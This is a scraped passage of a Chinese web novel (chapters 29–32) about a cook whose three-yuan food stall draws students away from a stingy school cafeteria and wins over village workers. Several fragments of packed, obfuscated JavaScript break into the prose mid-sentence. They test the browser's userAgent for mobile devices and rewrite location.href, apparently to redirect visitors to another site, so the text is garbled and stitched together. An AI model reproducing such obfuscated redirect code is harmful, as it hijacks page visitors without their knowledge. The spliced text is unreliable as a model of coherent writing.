0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819235|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄物。 其貌不扬。 皮蛋特殊的气味飘出，自动勾出了大脑深处的美食记忆，口水不自觉冒出来，一股接一股。 包了点饭，茄子以夹心的形式塞进嘴里。 米饭松散带甜，茄子软软糯糯，一抿就化。皮蛋泥密不透风包住茄子表面，将自身的味道最大化，直冲天灵盖。 蛋白碎穿插其中，额外增添了点嚼感。 焦香味若隐若现，等王肃再一尝，又没了。 等了几秒，喉咙没出现呛咳。 王肃眼睛一亮。 老板没骗人，擂辣椒真的没什么辣味。 这下，王肃放开了吃。 筷子挑上一坨，盖到米饭上。再搅吧搅吧，两者和成一团。 黏糊糊的米粒摊在碗里。 暴风吸入一大口。 这下，米饭的口感又变了。 松散变成油润，软糯度也上了一个台阶。之前还稍显干硬，如今成了老少皆宜的一款。 青椒脆脆的，辣椒籽甚至都是一种生嫩的状态，随便嚼嚼就能断。 加入青椒后，令人着迷的焦香更浓郁了。 果然，茄子青椒和皮蛋是绝配。 王肃埋头干饭，其余两人早就起身去排队，准备开始下一轮了。 估摸着是空了两天，同学们的热情高涨，补菜的队伍看起来比之前要长。 各类评价滚着扑出，叽叽喳喳。 “早知道应该多盛点擂辣椒，我就不用苦哈哈排队，直接去打饭。” “哈哈哈，还是我有先见之明，什么菜都打了双倍。” “那你为什么在这？” “双倍好像不够吃。黄瓜皮脆嘣嘣，太下饭了。真新鲜，黄瓜正当季，我居然吃上黄瓜的干菜了！晒干后更脆了。” “太幸运了，我抓了瓶可乐下来。一口火焙鱼，一口猪头肉，哈真爽。可惜不是冰的，要是老板卖饮料就好了。” …… 一句接一句，声音简直要掀翻屋顶，路过的同学想忽略都难。 “听他们说挺好吃的，还不贵只要三块。走，苏洋飞，去试一次。” 29. 第 29 章 男生立在原地不动，一身校服干净整洁，袖口处微微有些毛刺。 “算了。”他盯了那边好一会，舔了舔干涩的唇，最终还是摇摇头。“食堂免费。” 提议的那个同学耷拉下肩，撇撇嘴。“真没意思。说好听点贫困生吃饭免费，实际上那点补助全进后勤主任小舅子的口袋了。食堂一份饭十来块，要真论起来，还没隔壁便宜。” “也不知道哪个天才想出来的，贫困生必须在食堂用餐。” 金晨一中的贫困生有吃饭补助。不过钱是直接打进饭卡的，只能在食堂使用。之前老校区的食堂马马虎虎可以吃饱。如今新校区换了个承包商，菜炒得难吃不说，米饭的分量也变少了，一块钱巴掌大，想多打点就要加钱。 仔细算算，他上个星期因为吃不饱加了好几次饭。 这个月的补助会不会不够吃？ 他缓缓皱起眉。 两人一路安静踏进了食堂。 比起往日，食堂冷清不少。三三两两的学生散落在餐桌上，一眼扫过去，基本上是一些熟面孔。食堂老板请来专职打饭阿姨闲到开始数盘里的米粒了。 两人上前打了三个菜，打饭阿姨才重新上岗。一人一坨少少地堆在盘子里。 苏洋飞和边上的同学对视，那口堵在胸口的气最终还是吐了出来。 边上同学顺理成章吐槽。“阿姨手真是越来越抖了。食堂又不是她开的，有必要为老板这么省吗？” “还有这个，辣椒炒草莓。哪怕给我吃生的，也比这滩红红绿绿的东西要好。” 叽叽喳喳，他一堆的槽点说不完。与之相反，对面的苏洋飞一言不发，一口一口往嘴里塞草莓酱拌饭。 或许是连日来的菜色引发了同学们众怒，又或者是食堂老板的抠门一脚堂皇踩到了这群贫困生的底线。 冷清的食堂到处是讨伐。 “不是我骗你，阿姨看性别打饭。男生打标准版巴掌大，轮到女生只有巴掌的一半了。”一道浅浅的女声响起。 “如果是正常的标准版，我堪堪吃个七分饱，就当减肥了。但阿姨这么操作，我得多出钱去买原来的分量。” “本来吃饭补助刚好够一个月的餐费，现在我还得往里面添个大几十。” “唉……” 一声叹气接着后面响起。 “我听说，”同桌的女生左右扫了扫，随后倾斜上半身凑到她耳边。“操场角落里开了家三元自助。我们可以打包的时候多打点，一顿分成两顿吃。” 现在天气热，晚上吃冷的问题不大。就是…… 浅浅的声音带着担忧。“老板会骂死我们的。” 食堂老板收了全校的补助，打个饭都抠成这个鬼样子。外头的餐馆可没有补助，哪能随便她们打，怕是和食堂阿姨一样，得省点出来治帕金森。 “没事没事。”同桌女生扬了扬勺子，噗嗤笑出声。“狐狐偷偷干了好几回。上次被老板发现了。你猜老板说什么了？” “什么？”女生当个识趣的捧哏。 “老板让她少打点青菜，说青菜放到晚上不好吃。哈哈哈。”同桌女生笑得前俯后仰，她擦擦眼角的泪。“我猜狐狐干的那些事老板早发现了。估计看她总是吃青菜，才忍不住提了一嘴。” 狐狐全名叫胡狐，和她们俩一样是贫困生兼饭搭子。不过有几天没一起吃饭了。原来是跑到操场角落去了。 女生跟着笑出声。“饭补怎么办？” 钱不用也到不了她手里。 “好说好说。”同桌女生扒了一口白饭。“毕业可以提出来。现在我们是高三，满打满算一年时间，就当存了一年死期。” “反正每个月大几十的餐费省不了。与其吃食堂稀奇古怪的东西，便宜抠门老板；不如用来照顾操场老板生意。狐狐说那里的东西特别好吃。” 女生低头，看着餐盘里红红绿绿的一滩，突然没有忍住恶心吃完的想法了。“我们明天去试试。叫上狐狐一起。” “行。”同桌女生光速塞完米饭，声音干脆利落。 说者无心，听者有意。 聊天一句句进了隔壁桌苏洋飞的耳朵，心里快速算了一笔账。光是米饭钱，每个月他的支出就比在老校区多了60.35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839121|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果去操场吃，他每个月多加30就行了。然后等到毕业把饭补取出来，算起来他还赚了。 “我们明天也去。”苏洋飞一锤定音。 “啊？”对面男生抬头，酱红色的青椒搭在嘴边，双眼透露出醉饭的迷茫。 去哪？ * 食堂某个办公室，大腹便便的男人松开衬衫顶端的两粒扣子，脱鞋搭在办公桌上，单手随便翻了两页报表。 “你说说，最近的食堂收入怎么少了一大截？” “控制成本、控制成本。多采购点应季、当季便宜的食材进来。进来的时候我扫了一眼，菜里怎么有草莓？这个季节，草莓多贵你不知道吗？” 报表重重摔在办公桌上。 低头罚站的员工抖了抖，单手推了推下滑的眼镜，小心翼翼说道：“草莓是老板你弟弟屯的货，快坏了便宜出给食堂。上次我和老板你提过这事。” “提过不会再说一遍？没长嘴？”老板办公桌上的脚晃了晃，扭头“嘿、忒”朝地上砸了口老痰。 “你说你成本控制不错，为什么收入少了？该不会是你贪了？”老板眯起眼，凶光从缝隙透出来。 眼镜男叫苦不迭，就老板拨的那点预算，他没往里添点能采购出食堂的食材，已经算他本事大了。 以老板抠门的习性，今天他不说出个一二三来，怕是难出这张门。 眼镜男想了想，掏出手机点开视频递给老板。 操场一角，成群的学生坐在折叠桌旁，吃得满足幸福。还有一支长队，沿着操场边缘缓慢蜿蜒前进。人声嘈杂，热闹得很。 “食堂收入下降，主要由于附近出现了竞品。他们位置更近，价格更便宜，味道……”眼镜男觑了觑老板的脸色。“更好。” “大部分学生和小部分贫困生去了那边。” “贫困生也去了？” “是的。” “呵。”老板冷哼声，抽出只烟叼在嘴里。 啪嗒，烟雾慢慢悠悠缭绕，模糊了老板的面色。 “真是胡闹，操场怎么会是吃饭的场所。” 30. 第 30 章 摆摆手，老板让眼镜男先出去，反手掏出手机拨了个电话。 嘟嘟两声，电话通了。 老板弹弹烟灰，语气熟稔。“喂，姐夫……” 三言两语说了操场的情况，男人心满意足将烟抽尽，烟蒂丢到地上，狠狠碾了碾。“跟我抢生意……哼！” 外界的纷纷扰扰传不到安珀耳朵，她依旧是买菜、做饭、出餐，三点一线经营快餐店。最近生意不错，学校那边的客流量逐渐趋于稳定。托安茯苓家搬家宴的福，她在村里一战成名，陆陆续续也有些村民光顾她的小店。 里里外外一把抓，系统的返利也到了六万。 赚发了呀！ 安珀哼着不成调的小曲，手起手落翻炒锅里黑乎乎的一团。 沙沙沙—— 一道嗓音更敞亮的女音响起，猛地掩盖住炒锅里的声音。 “安珀，你这地方拾掇得不错，干干净净的。哎呦，谁能想到我秦春华能在家门口吃上实惠又卫生的大厨餐。以后你哥回来，我再也不用累死累活想着给他做什么菜了，直接把他往你店里一领，嘿嘿。” 放下手中的活，安珀探出头，惊喜喊出声。“秦婶，来得正好。” 这不巧了嘛！ 早上去买菜的时候，菜市场门口支了个临时摊子，不知道哪个村的老奶奶在买自己做的干货。安珀上去瞧了瞧梅干菜，乌黑油亮。嘿，别说，晒得不错。 她当即改了菜单，把摊子上的梅干菜包圆了。 梅干菜用青椒炒也行，做包子也不错。但最佳搭档还是扣肉。 安珀马不停蹄赶回来炸扣肉，炒梅干菜。 “秦婶，留下来吃饭。待会拿两块扣肉回去。” 上次答应秦婶的扣肉没了，这回正好补上。 “那敢情好。”秦婶爽朗一笑，大大方方应下了。“我和你叔早就想着这一口了。一直说要来支持你生意，可你叔最近忙到喝口水的时间都没有。干脆不等他，我自己来。” 秦叔是个电工。安置区那片还有好多户没搬进去，在搞装修。秦叔这必不可少工种的档期都排不过来，哪还有时间跑过来照顾她生意。 安珀笑笑，转身给秦婶倒杯水。 “安珀，我给你带了点豆角，你找个时间做了，别坏了。” 水搁到桌子上，脚下堆了一片绿色。瞳孔放大，安珀吓了一跳。 这哪是一点啊！ 一捆一捆的豆角整齐码在担子上，豆角断节处不停渗出小水珠，一看就是刚摘不久。而这样的豆角有两堆。 秦婶是挑过来的。 安珀心疼出声，“秦婶，我不能要。豆角你留着吃或者出去卖也行。哪费得着这个劲挑过来，多累啊！” “费两把力气的事，又不是没干过。”秦婶扭了扭肩膀，“豆角不值几个钱。安珀你开饭店，正好用得上。” “难不成我又把豆角挑回去？” 秦婶好心情开个玩笑。安珀沉默抿抿唇，掏出手机。“秦婶，我把钱扫给你。” “哎呦，你扫钱给我。那我拿你扣肉是不是也要给钱？”秦婶做出同款掏手机的动作。“来来来，扣肉多少钱？” 秦婶褪色的瞳孔不退不进迎上了安珀的目光。几秒对峙后，安珀败下阵。 “秦婶，吃完饭后你再带缸酸豆角回去。” 她家地里的豆角同样泛滥成灾，店里不能顿顿上豆角，安珀干脆把豆角全腌成了酸豇豆。 今天正好准备炒。 “秦婶你休息会，我去做饭了。” 秦婶应了声，安珀放心闪现后厨。 梅干菜和拇指长的扣肉块炒均匀，铲到不锈钢盆里蒸。 大锅菜不像宴席，一片一片不好分。安珀索性把扣肉切成块，一勺子下去，什么部位都有。 蒸锅嗤嗤上汽，安珀背过身蹲下，从货架底拖出一个大缸在，在里面挑出一大把酸豇豆。 腌好的酸豇豆褪去了青青的外壳，表皮微微发黄。 指甲微微用力掐下。 咔—— 上面留下一道月牙印，脆嫩程度依旧没变。 安珀满意点点头，抓起酸豇豆在水龙头底下冲了几遍，去掉多余的咸味。 啪 唰唰唰—— 酸豇豆照着一头整齐码好，啪地按在砧板。手起刀落，细碎的酸豇豆从一旁跌落，汁液顺着豆角孔隙慢慢流出，浸入砧板。 酸味四溢。 咚咚咚—— 切完酸豇豆，后厨又响起了有节奏的剁肉声。 前腿肉去掉筋膜，瘦肉在刀下逐渐缩成肉沫，进进出出，肉沫被剁出了几分筋性。 这一堆先拨到一边，安珀划了几块肥肉出来，同样剁成肉沫。 肥肉油脂丰润，黏糊糊地沾在刀边不肯下来。肥的瘦的一搅合，衬得肉都粉了几分。 其余配菜也切成碎碎。 起锅，烧油。 空气扭曲，锅内的温度徐徐上升。 肉沫一把滑下去，刺啦，热油剧烈反应，噼里啪啦溅出小油点。 锅铲轻轻将肉沫摊开，静止几秒不动。 肉香渐渐飘出，粉嫩肉沫凝固、紧缩。 油在锅底滋滋冒出小泡，油汤浑浊。安珀默默数着秒，时间一到，锅铲立刻抄底，整块将肉沫反过来。 肉沫和锅底密切接触点时间，产生了漂亮的美拉德反应，边缘星星点点起了焦疤。 手腕轻轻一抖，成块的肉沫瞬间散了。 蓬蓬地堆在锅里。 翻炒几轮，下点调料，油汤恢复了清亮。安珀铲出三分之一放在碗里。剩下的则扔点蒜和小米辣，再把酸豇豆碎倒进去。 冷热相遇，锅里再次嗤嗤作响。 肉沫好酸豇豆碎相融，沿锅边浇上一圈料酒。 白雾升腾，酒香漫出。酸味幽幽压过酒香，肆无忌惮在安珀鼻子下跳舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841553|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕咚—— 安珀咽咽口水，唾液被酸味勾出了一大滩。 酸的开胃。 动作加快，安珀翻炒几下立马将酸豆角肉沫盛出来。 肉沫和酸豇豆表面染上一层浅浅的酱色，更为浓郁。 保温盒里的酸豆角肉沫依旧不老实，一股一股飘出酸味白雾。 “炒的酸豆角？” 声音从前面传过来，安珀抬头。秦婶脸怼在透明围挡，五官变形，一下一下吞着口水。 在安珀这个角度，看起来着实有些可怕。 和秦婶同频咽个口水，安珀问：“秦婶你要不要先吃？饭还要等一会。” 秦婶犹豫，酸豆角肉沫不拌饭，空口吃差点意思。 密实的透明围挡挡不住苦心钻营的酸香，一阵一阵从缝隙钻出来，勾得秦婶唾液丰富。 抵挡不住诱惑的秦婶移开了她变形的五官，调转方向，朝保温台走。 盛上一小碗酸豆角肉沫坐到桌子边，一抬眼就能看到安珀在后厨忙碌的身影。 紧绷的肩膀好像忽然放松下来。 酸豆角肉沫碎成一滩，不好夹。秦婶拿起八百年不用的勺子，在尖尖上拨了一下。 几小粒骨碌碌滚进嘴里。 齿间最先接触到的是韧性十足的酸豇豆。 个头不大，嘎吱嘎吱在嘴里放起鞭炮。微酸的汁液流出，沾到舌尖，然后和辣味的肉沫混到一起。 酸辣风味十足。 肉沫犟劲也不逞多让，嚼了几下都没烂，一尝就知道炒了不少时间。放在其他菜里火候是过了头，在酸豆角肉沫里刚刚好。 豇豆和肉沫一起嚼，谁也不扫兴先退场，时不时还有豆粒蹦出来助个兴。 脆脆的酸豆。 不知道安珀怎么切的，豆粒保存完整，一吃一个准。不像她做的，全部碎成一滩，嚼起来没劲，也就她婆婆喜欢吃这种软烂的。 秦婶兴趣十足，连着干了好几口，喉咙含糊吐出“好吃”。 一小碗吃完，秦婶想了会，最终没起身添第二碗。她眼珠子直直盯着噗噗冒热气的蒸笼。 饭……什么时候好？ 大概还要个十五分钟。 安珀掐着时间，在十五分钟前面一点，哐哐打了几盒鸡蛋。 圆润的蛋黄和蛋清泾渭分明。 一双筷子插入，不锈钢盆倾斜，安珀手腕用力。 哐哐哐—— 筷子不断和不锈钢壁接触，打出清脆的声响，隐隐含点水声。 瞬间，蛋黄失去了圆润的形状，内液流出。 筷子扬起一阵小旋风，唰唰搅合着蛋液。 没一会，盆里盛了黄黄的一滩，面上飘了一层小白泡泡。 混上几勺水，再把泡泡挑出来，盖上保鲜膜，戳几个洞。 丝滑的蛋液在盆里晃荡，左右动了几圈在蒸笼里彻底安静。 15分钟，正好再炒个菜。 31. 第 31 章 剩下的前腿肉片得薄薄的，肥肉瘦肉分开。老姜也片成同样厚度。 铁锅淋上一圈油，润润锅。 长短不一的条条沿着锅边滴滴答答落下，在中间汇聚。 锅底早已热了，油泛起大小不一的泡泡。 安珀先把肥肉下下去。 刺啦—— 猛然扑出的白雾遮住了视线，肥肉一半泡在油汤，滋滋滋的，身形逐渐变小，表皮染上焦黄。 没让肥肉在里面待上太久，安珀迅速将瘦肉送进去，倒一点酱油上个色。 三下两下把肉片抖散，肉片早已染上诱人的颜色。 深深的褐色。 翻拌的过程没持续太久，安珀就把姜片加进去。 肥肉片不能炒过火候，炸成油渣影响口感。 现在状态刚刚好，边缘卷曲，内里透白。 大火源源不断向锅里提供热量，姜片边缘被炒得焦黄，辛辣味一股股朝外冲。 处在姜味最浓郁的中心点，辛辣味不停钻进鼻孔，安珀不可避免受到波及。 “阿嚏，阿嚏——” 安珀退后几步，狠狠打了几个喷嚏。 嗯？鼻子好像通了。 安珀揉揉鼻子，顺手舀几瓢水倒进锅里。 水源侵泄而下，在锅里打起旋涡，慢慢没过肉和姜片一指。 星星点点的油花浮在水面，夹杂些肉渣渣。通透的水瞬间浑浊。 安珀反手将火调到最大，再在上层虚虚掩上一个盖子。 橙红的火焰嗤嗤燎烫锅底，铁锅咕嘟咕嘟。边上的蒸笼嗤嗤嗤冒出白雾，后厨响动不停，热闹得不得了。 时间过半，安珀掐点掀开锅盖。 盖子上的冷凝水哗啦啦下落，成串滴进咕嘟咕嘟的汤里。 才煮了8分钟，寡淡的水汤发生了巨大变化。 汤底浓白，金黄的油脂时不时被卷进旋涡，喷出又落下，肉香十足。 奇怪的是，呛人的辛辣貌似消失了。安珀细细吸了几口，才闻到点淡淡的姜味。 拿出勺子，安珀慢慢把漂浮的血沫打出，汤底颜色更浓郁了。 这次，盖子没有掩上。 汤泉依着规律冲向顶点，唰地散开。安珀盯着小喷泉出神。 刺啦啦—— 刺耳的响声穿过一众热闹的厨具，震响安珀的耳膜。 安珀回神，抓起剁椒洒进汤里。 时间到了。 安珀先把梅干菜扣肉和老姜肉片汤搬到保温台，然后小心取出蒸蛋。 金黄的蛋液凝固在方形盒，随着安珀的移动，DuangDuang的颤动。 像盘Q弹的布丁。 蒸蛋表层浇上一大勺生抽，再来上点香油。 特意留出的肉沫满满铺在蛋液表面，远远看上去像是一盒沾满肉松的大吐司。 安珀出餐完毕，村里赶早的客人陆陆续续地来了。 “奶奶，好香啊！”xs版小人站在餐馆门口，发出奶声奶气的感叹。 “去看看有什么吃的？”小满奶奶松开小满的手，推推她肩膀。 自从上回吃了一次，祖孙俩便成了安家小食堂的常客。 小满对店里很熟悉，顺着奶奶推出的力道，小企鹅似的左右摇摆冲向保温台。 她站在台子钱，费力垫起脚，伸长脖子看。 “有黑坨坨、肉肉、肉肉和汤。” “哈哈哈，你个小崽子。这个叫梅干菜。”秦婶正好在小满前面打菜，听到她的形容词，冷不丁笑出声。 “哦。”小满咬着手，扭头招呼奶奶。“奶奶，快来，有梅干菜。” 小满奶奶慢悠悠靠近，秦婶连着“哎呦”几声。 “我说没见过呢！宋老师，是你家的啊？”秦婶放下勺子，惊奇摸了摸小满的脸。“哎呦，瞧这小脸，长肉了。” 宋老师带孙女回村的时候，她碰过一回。 全身上下没几两肉，瘦得吓人，眼珠子突出来像两颗大灯泡，身条又是个麻杆。 不对，麻杆好歹是长的，小崽子这没腿高的长度，顶多是根小细棍。 小细棍长肉好看点。 瞧这眼睛，水汪汪的成了葡萄。 “是，长肉了。前些天上称，重了3斤。”提起她孙女体重，小满奶奶心情好到不行，嘴角挂着笑。 “前几天她妈妈要我把小满送回去治病。我把体重称的照片发给她，她再也没说过去医院的话了。” “照我说，小孩子还是得接地气。你看，回村里好好吃饭，蹦蹦跳跳，精气神好了一大半。” “是是是。”秦婶叠声答应。“小满要多吃肉，长高高。” “我最喜欢肉肉了。安姐姐做的肉肉最好吃。”小满昂起头，奶声奶气回。 一本正经的样子把两个加起来过100岁的女人逗得不行。 “哈哈哈哈。” “笑什么呢？” 浑厚的男声先到，接着一个身高一米六左右，双手粗糙，指骨粗短，指缝灌满黑泥的男人走进来。屁股后面乌啦啦跟了一群风格相似的人。 “哎呦，不是忙不过来？怎么来了？”秦婶惊喜迎上去。 男人拍了拍裤缝，“安珀好歹是我看着长大的，她开店我没理由不来捧场。” “正好大家都在，我请客。多少钱一份？” 外头的声音快把屋顶掀翻，安珀想注意不到都难。 “秦叔。”安珀脆生生喊一声。“没多少钱，我请各位叔叔吃饭好了。” “哪能让你亏，你秦叔最近挣了钱。来，安珀算个价。” 秦婶剜他一眼，提着他脑袋往墙边转。 红底白字，三元/份的大字闯入秦叔视网膜，他豪气捏着手机的手突然抖起来。 后面的几个工人也瞧见了墙上的价格，一声又一声的大嗓门响起。 “三块钱一份能吃吗？” “我在网上看过，可以把老鼠肉当成鸡肉卖，价格便宜。” “这……吃了会死人吧！” “难得老秦大方一回，这是给我带到哪了？” 他们吐槽压根没想避人，声音一句比一句大，怨气冲天。 秦叔咽咽口水，“安珀，这…食材……” 同样的疑惑安珀面对过很多次，这点质疑压根没掀起心里的波澜。 安珀熟练应对。“秦叔，店里有政府补贴，有些菜是自家种的，成本压下来了。卖三块还能挣点呢！” 秦叔晕晕乎乎，听到安珀的解释，放下心来。只要成本不是三块就好。 他这一关过了，背后的工人依旧不依不饶。 “老秦，走走走。还是吃安置区对面那家猪脚饭。” “是啊！老板大方，还送几碗汤。” “老秦，你该不是十几块的猪脚饭都请不起吧？” ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844720|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “请请请。”秦婶双手抱臂，眉毛竖起。“菜色这么好是有政府补贴在里面，你们这些人愿意喝不知道掺了多少水的稀汤，自己去，别把我家老秦带上。” “不识货的家伙。食材真有问题，宋老师家的小崽子吃了能长肉吗？” “小满长胖了！”浑厚的嗓门震了震，秦叔大步向前，摸摸小满的脸。“嘿，真胖了。” 粗糙的皮肤膈得小满不舒服，她扭了扭身体，委屈巴巴喊：“奶奶。” 秦婶瞪他一眼，秦叔火速收回手，讪讪地笑。 “老刘，我中午在这吃。你们要是不想吃，改天换个地方再请你们。” 秦叔找个最近的位置坐下，秦婶快步去保温台给他打菜。 话说到这个份上，一行人闭了嘴。人在安静的时候，其他感官会更加敏感。 辣味、姜味、肉香一层层扑过来。 原来是秦婶打菜回来了。 乌黑油亮的梅干菜堆在餐盘上，肥润的扣肉斩一小条和在其中，褶皱松软的肉皮反射出油光。 另一碗汤里，肉片和姜片浮浮沉沉，占了大半碗。 猪脚饭店里的汤，沉底溜边费力捞半天还没这么多呢。 咕咚—— 不知是谁先吞了次口水。人群仿佛得了传染病，咕咚咕咚个不停。 “要不，在这吃算了。” “是啊，老刘。吃猪脚饭一来一回太费时间了。吃完饭我还要眯一会。” “在哪请客不是请，吃饱饭就成。人小崽子都吃，我们这些成年人怕什么。” “哈哈哈。” 老刘脸阴沉沉的，不过没人看他脸色，呼啦啦往保温台跑。 店里的保温台设计得不大，几个人同时打菜显得有些挤了。 老刘坠在最后，前面人头攒动，压根看不清菜色。 “真是五花肉。” “酸豆角肉沫适合拌饭，我得多打点饭。” “原来老秦的肉不是慢慢捞的，里头料真足。” 几人惊叹几句，手下的动作不慢，三下两下把菜打好了。人群唰地散开，保温台前留了老刘一个人。 他拿起勺子，嫌弃地在盆里挑挑拣拣。 “蒸蛋？小孩子适合吃的玩意。”咵，挑肉多的盖上一勺在餐盘。 “酸豆角肉沫。酸叽叽的，谁吃？”又是满满的一勺盖在餐盘另一半。 至此，一个餐盘已经装不下他的菜。老刘又取了一个餐盘。 软糯的扣肉搭在饭边，一碗满满的老姜肉片，没有汤。 老刘端起两盆，和工友挤在一个桌上。 砰—— 工友抬起头，咀嚼的速度放慢，瞳孔放大。“老刘，你装这么多，吃得完吗？” “墙上写不能浪费。” ‘浪费罚款十倍’的标语明晃晃挂在老刘头顶。 老刘撇撇嘴。“怕我吃多，就别写自助。没有那个钻，不要揽活。” 工友瞧他两眼，低头扒饭去了。 老刘哼一声，筷子在饭里搅合两下，酸豆角肉沫和米饭拌均匀了。 绿的、白的、酱色的和成一团。 老刘挑上一口拌饭。 米饭有酸豇豆的脆，稍稍来点微酸，瞬间胃口大开。辣味的肉带着饭，平平无奇的米饭变得层次丰富。 老刘斯哈几口，扒饭的速度压根没减。呼啦啦的，一盘下去了三分之一。 32. 第 32 章 好辣！ 小米辣的辣度后知后觉涌上来，嘴巴火辣辣地痛。 老刘顺手端起肉汤，肉片静静躺在碗里，和老刘大眼对小眼。 左右扫了一圈，老刘咚地把自己的碗往对面一推，拿起另一个碗。“顺子，和你换。” “唉唉唉，”顺子伸出手，鼓囊囊的腮帮子影响了他发挥，只能眼睁睁看着老刘把他的汤端走。 顺子赶紧嚼几下咽下饭，朝老刘汤里瞥了下。 “你打的什么汤？肉片没有营养，你不知道精华全在汤里？” “你还矫情起来了。以前去猪脚饭店，数你捞渣最厉害。”老刘慢悠悠吹口汤，少少嘬了一口。 烫！ 舌尖还没尝到味道，痛觉先来报到。 嘴巴上还有小米辣残留的辣痛，叠加上烫的汤，简直是双倍痛感。 痛着痛着，嘴唇好像麻了，火辣辣的感觉也消失殆尽。 嘴巴好像好了，老刘惊喜地再喝口汤。 这下，味蕾敏感起来。 浓郁的脂香滑过舌尖，再是姜独特的辛辣，还有剁椒淡淡的鲜。 老刘一口气干下去大半碗，额头布满密密麻麻的汗珠，前些天淋雨的寒气散出去了。 爽！ 碗底剩了些肉片，老刘筷子都没用，仰头往嘴里倒。 嗯？老刘眼睛骤然发亮。 肉片居然不是干柴的。 体积偏大的肉片口感意外的软嫩，尤其是肥肉，像含了口奶油在嘴里，边缘焦焦脆脆，油脂香直通鼻腔。 喝完汤，老刘没去添了。而是把梅干菜混到饭里，继续吃拌饭。 之前混入米饭的酸豆角肉沫还没吃完，现在又加了大量的梅干菜，拌饭的材料更加丰富。 低下头，嘴巴贴住餐盘边，老刘像个吸尘器，唰唰唰地吸入。 梅干菜叠加酸豆角肉沫，意外的好吃。 酸豆角咯吱咯吱，梅干菜却是另一个极端，软糯吸满猪油的脂香，连带米饭都油润不少。 扣肉切成小块，原本腻人的肥五花一下子适口了。 肉皮薄而松软，嘴巴一抿，轻而易举从扣肉分离。牙关轻轻合上，油脂溅出，肥五花入口即化。 油拌饭真好吃！ 老刘埋头苦吃，工友起身去添了几次饭都不知道。 肚子慢慢突出，吃饭的速度放缓。老刘不受控制打了几个嗝。 “嗝嗝嗝——” 摸了摸鼓胀的胃，老刘扫了眼一筷子没动蒸蛋。 小孩子吃的玩意，不合他口味。 不吃了。 “老刘，你不吃了？”顺子舀完肉片汤回来，就见老刘翘起二郎腿，刷美女跳舞。 老刘抬眼，“不吃了，吃饱了。” 顺子粗粗瞟了眼。餐盘上一大勺蒸蛋压根没吃，梅干菜和豆角混在一起拌的饭，剩了三分之一。 老姜肉片汤喝完了。不过老刘喝的是他那碗。整碗肉片是他消灭的。 “老刘，你再吃点。自助归自助，浪费这么多太可惜了。”顺子劝了劝。 “顺子，老板有补助，你管那么多干嘛？”老刘语气不好，摁住音量键把音乐声调到最大。 劲歌突然响彻饭馆。 周围人一顿，视线挪到老刘脸上。老刘恍然未决，继续输出。 “顺子你看不惯，就把我这盘吃了。”老刘笑嘻嘻。“吃了就不浪费了。” “你……”顺子呼吸急促，耳朵通红。“等着罚款吧！” “一个小丫头片子，她敢！”老刘不屑。“我浪费点，她拿到的补助还高点。她得弯腰感谢我。” 顺子被堵到词穷，憋着一股气坐下喝汤。 一向和谐的店里居然出了幺蛾子，安珀浑然未觉。操场这堆烂摊子够她收拾半天了。 时间回到半个小时前。 安珀和平常一样，把备好的菜分成两份。一份放店里给进店的客人，另一份则带到操场角落出摊。 今天操场上体育课的学生多，她刚把东西摆好，就有一批学生围过来了。 “老板，今天有没有青菜？”头发整齐梳成马尾，双颊略带婴儿肥的女生，凑到栏杆前问。 安珀记得她，好像叫胡狐。 前段时间一个人来的，最近带了两个朋友。 “有梅干菜。”安珀顿了顿，抽出两个盒子给她。“酸豆角肉沫冷了拌饭也好吃。再打点肉片汤回去，做夜宵。你们晚上读书累了，多吃点补补。” “老板，你人真好。” 胡狐没客气把盒子打满。后面跟上来两个人，跟着胡狐的节奏打菜。 三个人速度很快，打完就把勺子交给别人跑了。 “我不知道你们在怕什么？老板人明明很好。我干了几次老板都没骂我，还会特意多抽个盒子给我。”胡狐标志性的声音传出来。 “我知道老板很好。但是瞅到她那双眼睛，我就有点打怵。要不是狐狐你带着，我根本不敢打这么多。”浅浅的声音紧绷，带点害怕。 “这……老板一直笑着，又没耷拉个脸。” “狐狐，你不懂。有些人笑只是她们的伪装，实际上可狠了。” 声音渐渐跑远，安珀收回视线，抬眼看向来人. 袖口带点毛刺，连接处不少地方磨破了。 嗯，穷人。 露出笑，安珀递出两个盒子。“多吃点。” 多吃点，她多赚点。 苏洋飞默了默，接过盒子，说了声谢谢。 学生们来来去去，体育课这波快吃完了。看了眼手机，安珀整整摊子，打起精神迎接下一波。 要下课了。 悦耳的下课铃准时响起。校服海洋分散、汇聚，有一块目标明确，直直冲向操场角落。

